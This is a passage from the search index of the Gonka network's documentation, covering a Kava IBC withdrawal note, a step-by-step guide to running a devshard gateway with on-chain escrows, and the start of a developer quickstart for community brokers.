Before importing, verify the current contract in a trusted source such as:
After the test amount arrives, repeat the same flow for the remaining balance.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#optional-move-kava-between-kava-cosmos-and-kava-evm", "title": "Optional — Move KAVA between Kava Cosmos and Kava EVM", "text": "If KAVA is needed on the other side for gas, use: app.kava.io/evm/wkava.
Step-by-step guide from Kava: Send KAVA to and from Kava Cosmos and Kava EVM.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#advanced-note-verify-the-gonka-ibc-channel-before-large-transfers", "title": "Advanced note — verify the Gonka IBC channel before large transfers", "text": "For most users, channel verification is not required for a small test transfer.
To verify the current Gonka outbound channel before sending a larger amount, check the channel with:
curl -sS \"https://node1.gonka.ai:8443/chain-api/ibc/core/channel/v1/channels\" | jq '.channels[] | select(.port_id==\"transfer\") | {gonka_channel_id:.channel_id, kava_counterparty:.counterparty.channel_id}'\nAt the time of guide preparation, the Gonka → Kava transfer used:
channel-5channel-161When sending from Gonka, use the Gonka-side channel, which is channel-5.
Before sending the full amount, make sure:
If any check fails, stop and review before moving the full balance.
Always double-check the route, addresses, assets, and amounts, and start with a small test transfer.
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/", "title": "Run your own gateway", "text": ""}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#run-your-own-gateway", "title": "Run your own gateway", "text": "This guide explains how to run a Gonka devshard gateway on gonka-mainnet without installing a full chain node. You will deploy the gateway on your own Linux host, fund a dedicated escrow creator address, open an on-chain devshard escrow, send OpenAI-compatible inference requests, and settle the escrow when you are finished.
If you only need inference through an existing endpoint, use a community broker instead — that path does not require Docker, on-chain escrows, or an allow-listed creator address.
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#allowlisted-creator-address-required", "title": "Allowlisted creator address required", "text": "Prerequisite: The gonka1… address for your devshard escrow creator ($DEVSHARD_CREATOR, from DEVSHARD_PRIVATE_KEY) must appear on the chain allowlist devshard_escrow_params.allowed_creator_addresses before you can create an escrow.
The allowlist is maintained on-chain through governance. You cannot add yourself via config.devshard.env or admin settings. Request inclusion through an on-chain governance vote — see Become a broker in the Developer Quickstart — or use a community broker instead.
After you import your key in §2.3, verify membership in §2.4. Do not fund the creator or deploy the gateway until that check passes (funding alone does not grant allowlist access).
Production network
Mainnet escrows and fees use real ngonka. Confirm devshard_escrow_params.min_amount on chain (§2.4) before funding or creating an escrow. The example deposit below must be ≥ min_amount.
Gonka inference is organised around devshards — short-lived sessions backed by a small on-chain deposit (an escrow). A gateway opens the escrow, routes /v1/chat/completions to the network, coordinates off-chain settlement state, and submits finalize/settle transactions to the chain.
On a gateway-only server you run only the gateway container (devshardctl). Chain access uses public REST/RPC URLs. You do not run CometBFT, api, or mlnode on the same machine.
$DEVSHARD_CREATOR on allowed_creator_addresses (prerequisite above; confirm in §2.4)gonka1… address used only as that escrow creator (after allowlist is confirmed)gonka-mainnet Model (example) MiniMaxAI/MiniMax-M2.7 Escrow deposit (example) 5000000000 ngonka (~5 GONKA); must be ≥ on-chain min_amount Public node (example) https://node3.gonka.ai CometBFT RPC (example) https://node3.gonka.ai/chain-rpc/ Gateway image libermans/gonka-devshard-proxy:latest Copy the chain URLs into config.devshard.env in §2.2. Every command below assumes you have run source config.devshard.env from your deploy directory.
inferenced", "text": "Confirm Docker is available:
docker --version\nDownload inferenced v0.2.13 from the release page:
curl -fsSL -o /tmp/inferenced-amd64.zip \\\n \"https://github.com/gonka-ai/gonka/releases/download/release/v0.2.13/inferenced-amd64.zip\"\nunzip -o /tmp/inferenced-amd64.zip -d \"$HOME/bin\"\nchmod +x \"$HOME/bin/inferenced\"\nexport PATH=\"$HOME/bin:$PATH\"\ninferenced version # should report v0.2.13\n\nexport INFERENCED_HOME=\"$HOME/.devshard-inferenced\"\nexport INFERENCED_KEYRING=\"$INFERENCED_HOME/keyring-devshard\"\nmkdir -p \"$INFERENCED_HOME\" \"$INFERENCED_KEYRING\"\nINFERENCED_HOME keeps CLI state separate from a default ~/.inference install. INFERENCED_KEYRING is only a folder name for imported keys.
Use one directory for config.devshard.env, docker-compose.yml, and gateway data. The examples below use /srv/gonka/devshard-gateway.
Create the directory owned by your login user:
sudo mkdir -p /srv/gonka/devshard-gateway\nsudo chown \"$USER:$USER\" /srv/gonka/devshard-gateway\ncd /srv/gonka/devshard-gateway\nFrom the deploy directory, generate secrets and save the output for the next step:
printf 'export DEVSHARD_PRIVATE_KEY=%s\\n' \"$(openssl rand -hex 32)\"\nprintf 'export DEVSHARD_API_KEYS=sk-%s\\n' \"$(openssl rand -hex 24)\"\nprintf 'export DEVSHARD_ADMIN_API_KEY=sk-admin-%s\\n' \"$(openssl rand -hex 24)\"\nDEVSHARD_PRIVATE_KEY is a dedicated escrow creator wallet. Do not reuse validator, participant, or broker keys.
config.devshard.env", "text": "This file must exist before source config.devshard.env or docker compose up. Docker Compose loads it into the container.
nano config.devshard.env\nExample mainnet contents (paste secrets from §2.1):
# Chain (public node — gonka-mainnet)\nexport NODE_RPC=https://node3.gonka.ai/chain-rpc/\nexport CHAIN_ID=\"gonka-mainnet\"\nexport NODE_BASE=https://node3.gonka.ai\nexport NODE_CHAIN_API=https://node3.gonka.ai/chain-api\n\n# inferenced CLI (local; not used by the gateway container)\nexport INFERENCED_HOME=\"$HOME/.devshard-inferenced\"\nexport INFERENCED_KEYRING=\"$INFERENCED_HOME/keyring-devshard\"\n\n# Escrow creator + gateway auth (from §2.1)\nexport DEVSHARD_PRIVATE_KEY=<64-char-hex-no-0x-prefix>\nexport DEVSHARD_API_KEYS=sk-...\nexport DEVSHARD_ADMIN_API_KEY=sk-admin-...\n\n# Gateway (devshardctl container)\nexport DEVSHARD_INSTANCE_NAME=devshardctl-multi\nexport DEVSHARDS_JSON='[]'\nexport DEVSHARD_CHAIN_REST=https://node3.gonka.ai/chain-api\nexport DEVSHARD_TX_QUERY_REST=https://node3.gonka.ai/chain-api\nexport DEVSHARD_PUBLIC_API=https://node3.gonka.ai\nexport DEVSHARD_PORT=8080\nexport DEVSHARD_STORAGE_DIR=/root/.devshardctl\nexport DEVSHARD_STORAGE_HOST_DIR=.devshardctl\nexport DEVSHARD_MODEL=MiniMaxAI/MiniMax-M2.7\nexport GATEWAY_MAX_CONCURRENT_REQUESTS=512\nexport GATEWAY_MAX_INPUT_TOKENS_IN_FLIGHT=0\nexport GATEWAY_DEFAULT_MAX_TOKENS=3072\nexport GATEWAY_MAX_TOKENS_CAP=4096\nexport DEVSHARD_TX_GAS_LIMIT=700000\nexport DEVSHARD_POC_REQUEST_MODE=relaxed\nexport DEVSHARD_CAPACITY_AWARE_LIMITS=on\nDEVSHARDS_JSON='[]' is required for multi-escrow mode before the first escrow exists. Without it, the container expects DEVSHARD_ESCROW_ID (single-escrow mode) and will exit until you set one.
Lock down permissions and verify the public node:
chmod 600 config.devshard.env\nmkdir -p \"$INFERENCED_HOME\" \"$INFERENCED_KEYRING\"\n\ncd /srv/gonka/devshard-gateway\nsource config.devshard.env\ncurl -fsS \"${NODE_RPC}status\" | jq '.result.sync_info.latest_block_height'\nYou should see a recent block height. Optional — list governance models:
curl -sS \"$NODE_BASE/v1/governance/models\" | jq\nsource config.devshard.env\n\ntest -f config.devshard.env\ntest -n \"$DEVSHARD_PRIVATE_KEY\"\n--keyring-backend test is the Cosmos SDK backend name (local dev keyring).
inferenced keys import-hex devshard-create \"$DEVSHARD_PRIVATE_KEY\" \\\n --keyring-backend test \\\n --keyring-dir \"$INFERENCED_KEYRING\" \\\n --home \"$INFERENCED_HOME\"\nIf import reports the key already exists, skip import.
Resolve the on-chain creator address:
export DEVSHARD_CREATOR=\"$(inferenced keys show devshard-create -a \\\n --keyring-backend test \\\n --keyring-dir \"$INFERENCED_KEYRING\" \\\n --home \"$INFERENCED_HOME\")\"\necho \"DEVSHARD_CREATOR=$DEVSHARD_CREATOR\"\nOptional — persist DEVSHARD_CREATOR in the env file (run once):
grep -q '^export DEVSHARD_CREATOR=' config.devshard.env || \\\n echo \"export DEVSHARD_CREATOR=$DEVSHARD_CREATOR\" >> config.devshard.env\nThe name devshard-create is only a local label; on-chain transactions use --from devshard-create to sign as $DEVSHARD_CREATOR.
Do not skip this step. Escrow creation in §4 only succeeds when $DEVSHARD_CREATOR is on the chain allowlist.
You do not need to run a validator to use a gateway; you only need your creator address on devshard_escrow_params.allowed_creator_addresses. If it is missing, stop here and follow Become a broker to request a governance params update. Re-run this check after any governance vote before creating an escrow.
source config.devshard.env\n\necho \"DEVSHARD_CREATOR=$DEVSHARD_CREATOR\"\n\ncurl -sS \"$NODE_CHAIN_API/productscience/inference/inference/params\" \\\n | jq '.params.devshard_escrow_params | {min_amount, max_escrows_per_epoch, max_nonce, allowed_creator_addresses}'\n\ncurl -sS \"$NODE_CHAIN_API/productscience/inference/inference/params\" \\\n | jq --arg addr \"$DEVSHARD_CREATOR\" \\\n '.params.devshard_escrow_params.allowed_creator_addresses | index($addr) != null'\nThe second command must print true. Use the first command to read live limits (min_amount, max_escrows_per_epoch, max_nonce). On mainnet after the v0.2.13 upgrade, expect max_escrows_per_epoch 500,000 and max_nonce 1,000,000. If it prints false, your address is not allowlisted—do not proceed to §2.5, §3, or §4 until it is added on chain.
Only after §2.4 returns true, fund the creator:
inferenced query bank balances \"$DEVSHARD_CREATOR\" \\\n --node \"$NODE_RPC\" --chain-id \"$CHAIN_ID\" -o json --home \"$INFERENCED_HOME\" \\\n | jq '.balances[] | select(.denom==\"ngonka\")'\nSend enough ngonka to cover the escrow deposit (5000000000 in the example if that is ≥ min_amount), plus create/settle gas and transaction fees. If you will enable automatic escrow rotation (Escrow lifetime and rotation), fund the creator for several deposits per epoch—not only the one manual escrow in §4.
How to get GNK
GNK is available as WGNK (wrapped GNK) on Ethereum. Acquire WGNK on a DEX or through a peer transfer, then bridge it to Gonka using the dashboard bridge UI. The dashboard derives the correct gonka1… address from your Ethereum wallet and handles the deposit without CLI tools.
This section starts the gateway process. You create docker-compose.yml locally; Docker pulls the pre-built image. You are not downloading a compose file from the network and you are not installing a Gonka chain node.
The gateway reads config.devshard.env, stores state under .devshardctl/, and listens on http://127.0.0.1:18080 on the host. On-chain escrow creation happens in §4; starting the gateway first is fine.
config.devshard.env Secrets and chain URLs (host + container) docker-compose.yml How Docker runs devshardctl .devshardctl/ Gateway database (created on first up) All commands assume:
cd /srv/gonka/devshard-gateway\ndocker-compose.yml", "text": "nano docker-compose.yml\nGateway-only compose (no node or api services):
services:\n devshardctl:\n container_name: ${DEVSHARD_INSTANCE_NAME:-devshardctl-multi}\n image: libermans/gonka-devshard-proxy:latest\n env_file:\n - ./config.devshard.env\n environment:\n - DEVSHARD_PORT=8080\n - DEVSHARD_STORAGE_DIR=/root/.devshardctl\n volumes:\n - ${DEVSHARD_STORAGE_HOST_DIR:-.devshardctl}:/root/.devshardctl\n ports:\n - \"127.0.0.1:18080:8080\"\n restart: unless-stopped\n healthcheck:\n test: [\"CMD\", \"curl\", \"-f\", \"http://localhost:8080/v1/status\"]\n interval: 30s\n timeout: 5s\n retries: 3\n start_period: 10s\nenv_file injects chain URLs and keys into the container.127.0.0.1:18080 binds the API to localhost only; put nginx or another reverse proxy in front if remote clients need access.Load environment variables and pull the image:
cd /srv/gonka/devshard-gateway\nsource config.devshard.env\nsudo docker compose pull\nStart the gateway in the background:
sudo docker compose up -d\nConfirm the service is healthy:
sudo docker compose ps\nExpect devshardctl-multi (or your DEVSHARD_INSTANCE_NAME) in state running, with health healthy after the start period.
curl -fsS http://127.0.0.1:18080/v1/status | jq '{runtimes, capacity: .capacity.models}'\nA JSON response means the gateway is up. Escrows may be empty until you complete §4.
Chat completions are available at:
http://127.0.0.1:18080/v1/chat/completions
(or the URL your reverse proxy forwards to that port).
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#4-create-an-escrow-and-open-api-access", "title": "4. Create an escrow and open API access", "text": "Allowlist check: $DEVSHARD_CREATOR must already be allowlisted (§2.4). Otherwise escrow create fails on chain.
The deposit in §4.1 must be ≥ on-chain min_amount from §2.4.
The gateway admin API creates the on-chain escrow and registers it when \"register\": true. The escrow stays active until you finalize and settle it in §6, unless you enable automatic rotation in Escrow lifetime and rotation below.
cd /srv/gonka/devshard-gateway\nsource config.devshard.env\n\nCREATE_JSON=$(curl -sS -X POST http://127.0.0.1:18080/v1/admin/escrows \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"amount\\\": 5000000000,\n \\\"model_id\\\": \\\"MiniMaxAI/MiniMax-M2.7\\\",\n \\\"private_key\\\": \\\"$DEVSHARD_PRIVATE_KEY\\\",\n \\\"chain_id\\\": \\\"$CHAIN_ID\\\",\n \\\"register\\\": true\n }\")\necho \"$CREATE_JSON\" | jq .\n\nexport ESCROW_ID=$(echo \"$CREATE_JSON\" | jq -r '.escrow_id')\necho \"ESCROW_ID=$ESCROW_ID\"\nKeep ESCROW_ID in your shell for the rest of this guide. In a new session, set it again (for example export ESCROW_ID=1).
Models default to admin_only until you enable API-key access:
curl -sS -X POST http://127.0.0.1:18080/v1/admin/settings \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"default_request_max_tokens\": 3072,\n \"request_max_tokens_cap\": 4096,\n \"model_limits\": [{\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"access_mode\": \"api_key\"\n }]\n }'\nConfirm the escrow is loaded:
curl -fsS http://127.0.0.1:18080/v1/status | jq .\ncurl -fsS http://127.0.0.1:18080/v1/admin/devshards \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" | jq .\nOne gateway process can serve many escrows at once. Register them at first start with **DEVSHARDS_JSON in the container environment, or add more later with **POST /v1/admin/devshards or **POST /v1/admin/escrows** (\"register\": true). Pooled **POST /v1/chat/completions** picks an active escrow per request—the picker scores runtimes by load (in-flight requests vs capacity weight) and routes to the best match for the requested model.
**GET /v1/status in pool mode lists all devshards plus limiter and capacity; with exactly one escrow it behaves like the simple proxy. Per-escrow admin calls use the **/devshard/{id}/… prefix (for example **POST /devshard/{id}/v1/finalize**); bare **POST /v1/finalize** only works when a single escrow is configured. §5–§6 below use one escrow; use the pool when you need more throughput or rotation across epochs.
This guide’s steps in §4.1–§4.2 and §5–§6 walk through one manual escrow. That is the right model for a first test. On mainnet, a gateway can also rotate escrows automatically across epoch boundaries so you do not run out of capacity.
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#how-long-does-a-manual-escrow-live", "title": "How long does a manual escrow live?", "text": "There is no fixed wall-clock expiry in the gateway for a single escrow you create yourself.
Limit What it means Your workflow The escrow keeps serving chat until you finalize and settle (§6). On-chain epoch Each escrow is tied to the chain epoch it was created in (epoch_index). That matters for protocol storage and chain rules, not a simple “expires after N hours” timer in this guide. Balance Inference spends the escrow deposit. The gateway periodically checks active escrows (about every 30 seconds). If usable balance drops below 1,000,000 ngonka, it treats the escrow as depleted. Nonce budget Off-chain devshard state advances by nonce. The multi-escrow gateway stops routing new chat around 19,800 nonce (this limit will be set to signigicantly higher number in future). Separately, devshard_escrow_params.max_nonce is the on-chain settlement ceiling—query it in §2.4 (mainnet after v0.2.13: 1,000,000). Chain caps Governance sets max_escrows_per_epoch: the maximum number of devshard escrows allowed chain-wide in the current epoch (not per creator). Query the live value in §2.4. On mainnet after v0.2.13 this is 500,000. Default behaviour: escrow_rotation is off until you enable it in admin settings. With rotation off, the gateway does not auto-create a replacement when balance or nonce is exhausted—it only logs and may stop using that escrow for new requests. Plan to finalize and settle before the deposit is spent, or enable rotation (below).
Not by default. Auto-rotation is optional and configured with POST /v1/admin/settings → escrow_rotation.
When **escrow_rotation.enabled is true, a background task runs about every 15 seconds and coordinates escrows with the chain’s epoch / PoC schedule**:
**pre_poc_blocks before the next epoch switch (measured to the upcoming set_new_validators boundary, not “PoC start” alone): for each configured model, create **temp_count temporary “bridge” escrows, then finalize and settle active regular escrows for that model (settlement is skipped while a devshard still has in-flight requests).**target_count new regular escrows per model, then finalize and settle the temp** escrows from the bridge window.If temp escrow creation fails, the gateway may promote existing regular escrows to the temp role instead of leaving you with no bridge escrows.
When rotation is enabled, the gateway can also replace a depleted escrow (low balance, high nonce, or balance exhausted mid-request) by creating a new on-chain escrow and settling the old one—only for models listed under escrow_rotation.models.
Funding and rotation: Each epoch transition creates new on-chain escrows (temp_count bridge escrows, then target_count regular escrows per model) before the previous ones are finalized and settled. Every create locks another amount from $DEVSHARD_CREATOR until settlement returns the unused portion. Plan creator-wallet balance for at least **(temp_count + target_count) × amount ngonka per model, per epoch**, plus gas for create and settle transactions—and keep extra headroom, because bridge and regular escrows can overlap for a short time while rotation is in progress.
Use this after you have already created, funded, and tested at least one escrow manually (§4). Rotation needs the same private_key_env in the container (for example DEVSHARD_PRIVATE_KEY) with enough ngonka on the creator account for the deposits above, not just one escrow’s amount.
Example for one model (adjust counts for your capacity; production operators often run several regular escrows per model, with **temp_count: 1** for the epoch bridge):
source config.devshard.env\n\ncurl -sS -X POST http://127.0.0.1:18080/v1/admin/settings \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"escrow_rotation\": {\n \"enabled\": true,\n \"pre_poc_blocks\": 300,\n \"models\": [{\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"temp_count\": 1,\n \"target_count\": 1,\n \"amount\": 5000000000,\n \"private_key_env\": \"DEVSHARD_PRIVATE_KEY\"\n }]\n }\n }'\nRestart is not required: enabling rotation in settings starts the rotator on the running gateway.
Inspect timing and the last per-model rotation results:
curl -fsS http://127.0.0.1:18080/v1/debug/rotation \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" | jq\nUseful fields include chain.blocks_until_next_rotation, settings, and latest (per-model stage, counts, and errors).
\"escrow_rotation\": { \"enabled\": true, ... } in settings and GET /v1/debug/rotation shows enabled: true. Creates stop after one failure The gateway suppresses repeat creates for the same model, role, and epoch after a failed on-chain create (for example insufficient funds or the per-epoch escrow limit). Read /v1/debug/rotation and docker logs for escrow_rotation_* / escrow_depletion_replacement_failed. Settles never finish Settlement waits until the devshard has no active requests. Drain or stop traffic before expecting rotation settle to complete. Depletion but no replacement Replacement requires rotation enabled and a matching entry in escrow_rotation.models. Otherwise finalize and settle manually in §6. Wrong epoch timing Rotation uses live chain phase data; ensure DEVSHARD_PUBLIC_API / chain REST point at your mainnet node (§2.2). For a single manual test, leave rotation disabled, complete §5, then §6. Enable rotation when you want the gateway to keep fresh escrows across epochs without manual recreate.
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#5-send-a-test-request", "title": "5. Send a test request", "text": "The gateway endpoint is OpenAI-compatible. Set your API key and send a chat completion:
source config.devshard.env\n\ncurl -sS http://127.0.0.1:18080/v1/chat/completions \\\n -H \"Authorization: Bearer $DEVSHARD_API_KEYS\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"model\": \"MiniMaxAI/MiniMax-M2.7\",\n \"messages\": [{\"role\": \"user\", \"content\": \"How long do hamsters live?\"}],\n \"max_tokens\": 32\n }' | jq '{id, content: .choices[0].message.content}'\nIn a few moments, you should see a model reply in content. If you receive 401 with \"requires an admin API key\", repeat the settings POST in §4.2.
When you are done with inference, the gateway finalizes off-chain devshard state, then you submit settlement on-chain. Both steps need source config.devshard.env and a non-empty ESCROW_ID from §4.1.
Finalize is per escrow and must use the path /devshard/{id}/v1/finalize, not /v1/finalize alone.
cd /srv/gonka/devshard-gateway\nsource config.devshard.env\n\nif [ -z \"${ESCROW_ID:-}\" ]; then\n echo \"ESCROW_ID is unset — export it from §4.1 (e.g. export ESCROW_ID=2)\"\n exit 1\nfi\necho \"Using ESCROW_ID=$ESCROW_ID\"\n\ncurl -fsS http://127.0.0.1:18080/v1/admin/devshards \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" | jq .\n\ncurl -fS -X POST \"http://127.0.0.1:18080/devshard/${ESCROW_ID}/v1/finalize\" \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\\n -o settlement.json\n\njq '{escrow_id, version, fees}' settlement.json\nwc -c settlement.json\n-f makes curl fail on HTTP errors instead of writing an empty file. A 0-byte settlement.json usually means ESCROW_ID was empty (the request hit /devshard//v1/finalize and returned 404 with no body).
If finalize fails, inspect the response and gateway logs:
curl -sS -w \"\\nHTTP %{http_code}\\n\" \\\n -X POST \"http://127.0.0.1:18080/devshard/${ESCROW_ID}/v1/finalize\" \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\"\nsudo docker logs devshardctl-multi --tail 80\nThe ngonka amount which was not used is returned to your creator address after host payouts and protocol fees.
source config.devshard.env\n\ncurl -sS -X POST \"http://127.0.0.1:18080/v1/admin/devshards/${ESCROW_ID}/settle\" \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"private_key_env\":\"DEVSHARD_PRIVATE_KEY\"}'\nEscrow state on chain:
source config.devshard.env\n\ninferenced query inference show-devshard-escrow \"$ESCROW_ID\" \\\n --node \"$NODE_RPC\" --chain-id \"$CHAIN_ID\" -o json --home \"$INFERENCED_HOME\" \\\n | jq '{id: .escrow.id, settled: .escrow.settled, creator: .escrow.creator, amount: .escrow.amount}'\nExpect settled: true. The amount field is the original deposit metadata; live coins return to $DEVSHARD_CREATOR after settlement.
Creator wallet balance (main check that funds came back):
source config.devshard.env\n\ninferenced query bank balances \"$DEVSHARD_CREATOR\" \\\n --node \"$NODE_RPC\" --chain-id \"$CHAIN_ID\" -o json --home \"$INFERENCED_HOME\" \\\n | jq '.balances[] | select(.denom==\"ngonka\") | {denom, amount}'\nAfter settlement, most of the unused deposit should return to $DEVSHARD_CREATOR, minus inference cost, settlement fees, and transaction gas.
Sections §1–§6 cover a single test escrow. This section is for pausing routing, redirecting clients when asked, or shutting down the host.
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#71-deactivate-one-escrow", "title": "7.1 Deactivate one escrow", "text": "After you settle in §6, the escrow record remains on chain; deactivate only stops this gateway from routing new chat to that escrow locally. Other escrows in the pool keep serving if they are still active.
source config.devshard.env\n\ncurl -sS -X POST \"http://127.0.0.1:18080/v1/admin/devshards/${ESCROW_ID}/deactivate\" \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\"\nTo tell API clients to stop using this gateway URL while you keep admin access (finalize, settings, import, debug), enable the gateway disabled state. Non-admin requests (for example pooled /v1/chat/completions) receive HTTP 308 with JSON status, message, and new_url. Admin routes (/v1/admin/*, /v1/debug/*, per-escrow finalize under /devshard/{id}/…) still work with the admin API key.
source config.devshard.env\n\ncurl -sS -X POST http://127.0.0.1:18080/v1/admin/settings \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"disabled\": {\n \"enabled\": true,\n \"message\": \"This gateway is retired; use the new base URL.\",\n \"new_url\": \"https://your-new-host.example/v1/chat/completions\"\n }\n }'\nTo resume normal service, POST again with \"enabled\": false. On first gateway start only, the same flags can be bootstrapped from DEVSHARD_GATEWAY_DISABLED, DEVSHARD_GATEWAY_DISABLED_MESSAGE, and DEVSHARD_GATEWAY_DISABLED_NEW_URL in config.devshard.env (see the gateway env template in the gonka repo). After gateway.db exists, use **POST /v1/admin/settings**.
Optional — remove the local gateway record (run while the container is still up, after settle):
source config.devshard.env\n\ncurl -sS -X DELETE \"http://127.0.0.1:18080/v1/admin/devshards/${ESCROW_ID}\" \\\n -H \"Authorization: Bearer $DEVSHARD_ADMIN_API_KEY\"\nStop Docker:
cd /srv/gonka/devshard-gateway\nsudo docker compose down\n\n# Optional: remove persisted gateway state\n# sudo rm -rf .devshardctl\nReplacing the gateway image or recreating the main container would drop in-flight /v1/chat/completions streams if you restarted it in place. Production operators use a two-container pattern: run a temporary gateway alongside the main one, move public traffic with an nginx alias and graceful nginx -s reload, drain active_requests on the old instance, update the main container, switch traffic back, then import temp escrow state into the main gateway.
What the gateway provides:
devshardctl process (often port 18081) with DEVSHARDS_JSON=[] so it does not load main escrows at boot.POST /v1/admin/escrows on the temp instance to fund temp bridge escrows.GET /v1/status (or admin state) to confirm **active_requests** is zero before stopping an instance.POST /v1/admin/devshards/import on main with active: false, then register/activate on main so temp escrows survive the cutover.The Step-by-step playbook is being prepared at the moment.
"}, {"location": "gonka/docs/developer/gateway-developer-quickstart/#related", "title": "Related", "text": "Need help? See the FAQ, join Discord, or open a broker / allowlist request on GitHub.
"}, {"location": "gonka/docs/developer/quickstart/", "title": "Quickstart", "text": ""}, {"location": "gonka/docs/developer/quickstart/#developer-quickstart", "title": "Developer Quickstart", "text": "This guide explains how to send an inference request to Gonka through a community broker. It is the fastest way to start using the network today. If you would like to run your own gateway instead of going through a broker, see Run your own gateway at the bottom of this page.
How to connect to Gonka
Gonka inference is now organized around devshards — short-lived sessions that hold a small on-chain deposit (an escrow) and settle per-request billing off-chain. The role of opening a devshard, signing requests, rotating the session, and submitting settlement to the chain is performed by a piece of software called a gateway.
For most developers, the simplest way to use Gonka is to call a community broker — a third party that provides inference access through a gateway and exposes a standard OpenAI-compatible API. You just need an API key from the broker.
How Gonka differs from traditional AI APIsGonka is not just another AI API. It is a cryptographic protocol for provable inference that aims to make model execution, billing, and settlement independently auditable, rather than fully controlled by a single provider.
Aspect Traditional AI API (OpenAI, Anthropic, etc.) Gonka API Model provenance and verifiable output Models are hosted and versioned by the provider, but users cannot independently verify which model produced a given output. Inference can be linked to protocol-defined model metadata and network execution records, enabling verifiable provenance. Censorship resistance Access is controlled centrally by the provider. Access is moving into transparent, protocol-governed mechanisms. Current production access is guarded while protocol-level request validation is being completed. Auditability and transparency Logging, billing, and usage tracking are controlled by the API provider. Requests, billing, and settlement are designed to be signed, timestamped, and auditable. Transparent tokenomics Pricing and resource allocation are provider-defined. The network's per-inference price and settlement are protocol-defined and on-chain, making the underlying inference economics inspectable."}, {"location": "gonka/docs/developer/quickstart/#1-use-a-community-broker-recommended", "title": "1. Use a community broker (recommended)", "text": "A broker is an independent operator who runs a Gonka gateway and resells inference to developers. From your application's point of view, a broker endpoint behaves like any OpenAI-compatible API: you set a base_url, pass an Authorization: Bearer <API_KEY> header, and call /v1/chat/completions as usual.
Brokers are not part of the core protocol
Brokers are independent third parties. Pricing, payment methods (USD, crypto, credits), rate limits, supported models, SLAs, refund policies, and data handling are determined by each broker. Read the broker's own documentation and terms before going live.
"}, {"location": "gonka/docs/developer/quickstart/#11-pick-a-broker", "title": "1.1 Pick a broker", "text": "This is a curated directory of community brokers that route inference through a public Gonka gateway and have agreed to be publicly listed. It is not exhaustive and does not endorse any operator. The list is displayed in a random order that is re-shuffled on every page load, so the position of each broker is not a ranking; please evaluate each operator on its own merits. This directory reflects an early bootstrap set. New operators who want to serve inference independently should see Interested in operating a gateway?. Some brokers provide a ▶ demo link to a short onboarding screencast — style and length may vary.
Compare brokers — community observability dashboardsCommunity members run independent monitoring probes against public broker endpoints and publish the results. These dashboards can help you compare uptime, latency, and pricing before choosing a broker:
These dashboards are community-built tools, not part of the core protocol. Data accuracy, methodology, and availability are the responsibility of each dashboard operator. Always verify critical metrics against your own testing. The list is displayed in a random order on every page load.
"}, {"location": "gonka/docs/developer/quickstart/#12-get-an-api-key", "title": "1.2 Get an API key", "text": "Follow the onboarding instructions on the broker's site. Typically, you will:
base_url (for example https://api.<broker-domain>/v1) and the list of supported models.Plug your API key into almost any AI software, chat interface, or agent framework that supports OpenAI-compatible providers.
You need three things from your broker (see §1.2): the Base URL, your API key, and a Model ID.
In most apps the mapping is:
Field in your app What to enter API Base URL / Endpoint Your broker URL with/v1 appended, e.g. https://<broker-url>/v1. If the app asks for an \"OpenAI Base URL\" or \"Custom Endpoint\", this is it. API Key / Auth Token The key you generated. Even if the app says \"Enter OpenAI API Key\", use your broker key here. Model / Custom Model The exact Model ID your broker supports. Model IDs are case-sensitive — copy them exactly, e.g. MiniMaxAI/MiniMax-M2.7. The exact menu names below may differ between app versions — look for the equivalent settings.
Chat interfacesAI IDEs and coding agentsNo-code automationsExamples: Open WebUI, LibreChat, LobeChat.
Go to Settings → AI Providers / Connections, choose the OpenAI provider, replace the default OpenAI URL with your broker URL plus /v1, insert your key, and add the Model ID to the allowed models list.
Examples: Cursor, Cline, Windsurf.
Go to Settings → Models, enable the OpenAI-compatible provider (or Add Custom Model), override the Base URL with your broker URL plus /v1, and paste your broker API key.
Examples: Make.com, n8n, Flowise.
Use the standard OpenAI module, then look for advanced settings to override the Base Path / Base URL with your broker's URL.
Prefer to write code instead? Continue to §1.4 Send your first request on Gonka.
"}, {"location": "gonka/docs/developer/quickstart/#14-send-your-first-request-on-gonka", "title": "1.4 Send your first request on Gonka", "text": "Set environment variables:
export GONKA_BROKER_URL=<broker-base-url> # e.g. https://api.example-broker.com/v1\nexport GONKA_BROKER_API_KEY=<your-api-key>\nexport GONKA_MODEL=MiniMaxAI/MiniMax-M2.7 # or any model your broker supports\nThe Gonka broker endpoint is OpenAI-compatible, so you can use the official OpenAI SDK directly — no Gonka-specific client is required.
PythonTypeScriptGoInstall the OpenAI Python SDK:
pip install openai\nCreate example.py:
